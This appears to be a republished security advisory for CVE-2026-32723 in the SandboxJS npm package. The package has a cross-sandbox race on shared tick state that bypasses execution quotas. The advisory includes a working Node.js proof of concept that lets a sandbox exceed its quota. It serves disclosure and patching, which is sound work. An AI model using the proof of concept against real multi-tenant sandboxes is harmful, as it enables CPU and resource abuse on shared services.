@nyariv/sandboxjs
Affected
- introduced
0, fixed0.8.35(semver)
Fixed versions
0.8.35
Fix
- Fixed version
0.8.35npm install @nyariv/[email protected]
Advisory
Also known as: CVE-2026-32723
SandboxJS has an execution-quota bypass (cross-sandbox currentTicks race) in SandboxJS timers
Summary
Assumed repo path is /Users/zwique/Downloads/SandboxJS-0.8.34 (no /Users/zwique/Downloads/SandboxJS found). A global tick state (currentTicks.current) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite currentTicks.current between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog.
Impact: execution quota bypass → CPU/resource abuse
---
Details
SandboxJS-0.8.34 at /Users/zwique/Downloads/SandboxJS-0.8.34Vulnerable code paths
sandboxFunction binds ticks using ticks || currentTicks.current: createFunction(..., ticks || currentTicks.current, { ...context, ... })
Relevant lines: 44, 53, 164, 167.
export const currentTicks = { current: { ticks: BigInt(0) } as Ticks };
and
_execNoneRecurse(...) { currentTicks.current = ticks; ... }
Relevant lines: ~1700, 1712.
currentTicks.current be the wrong sandbox's ticks when compilation occurs.---
Why This Is Vulnerable
currentTicks.current is global mutable state shared across all sandbox instances.currentTicks.current at that time. If another sandbox runs between scheduling and execution, it can replace currentTicks.current. The scheduled timer's code will be compiled/executed with the other sandbox's tick budget. This allows the original sandbox's execution quota to be bypassed.---
Proof of Concept
> Run with Node.js; adjust path if needed.
// PoC (run with node); adjust path if needed
import Sandbox from '/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js';
const globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout };
const prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;
const sandboxA = new Sandbox({
globals,
prototypeWhitelist,
executionQuota: 50n,
haltOnSandboxError: true,
});
let haltedA = false;
sandboxA.subscribeHalt(() => { haltedA = true; });
const sandboxB = new Sandbox({ globals, prototypeWhitelist });
// Sandbox A schedules a heavy string handler
sandboxA.compile(
'setTimeout("let x=0; for (let i=0;i<200;i++){ x += i } globalThis.doneA = true;", 0);'
)().run();
// Run sandbox B before A's timer fires
sandboxB.compile('1+1')().run();
setTimeout(() => {
console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA });
}, 50);
Reproduction Steps
hi.js and run: node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js
{ haltedA: false, doneA: true }
This indicates the heavy loop completed and the quota was bypassed.
sandboxB.compile('1+1')().run(); line and rerun. Output should now be: { haltedA: true }
This indicates quota enforcement is working correctly.
---
Impact
process / require leakage observed from this primitive alone). Escalation to RCE was attempted and not observed.Medium Basis: The source's own band: MODERATE
0, fixed 0.8.35 (semver)0.8.35
0.8.35npm install @nyariv/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0